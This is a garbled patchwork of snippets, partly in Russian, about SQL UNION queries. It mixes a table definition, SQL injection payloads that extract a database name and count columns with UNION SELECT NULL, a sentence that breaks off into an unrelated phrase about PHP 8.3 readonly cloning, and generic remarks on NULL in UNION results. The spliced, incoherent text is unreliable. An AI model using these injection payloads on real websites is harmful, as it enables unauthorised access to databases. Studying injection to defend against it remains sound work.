CREATE TABLE login ( id INT NOT NULL AUTO_INCREMENT, nickname VARCHAR(30) NOT NULL, login VARCHAR(40) NOT NULL, statement INT NOT NULL, PRIMARY KEY(id) ) Отправляем запрос 99999' union select 1,2,database(),4 -- - Вот и наша базка golden_key.

' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- etc. Если количество NULL не соответствует количеству столбцов, база данных возвращает ошибку, например Клонирование readonly свойств в PHP 8.3.

Select null union select null union select null Both tables have the same column names, and we can see that both tables have NULL values in their respective Age columns in three rows.

SELECT NULL, text, NULL, NULL FROM email. SELECT NULL, *, NULL, NULL may work in other DB engines (I believe it works in SQL Server, but not in Oracle) but it's not standard.

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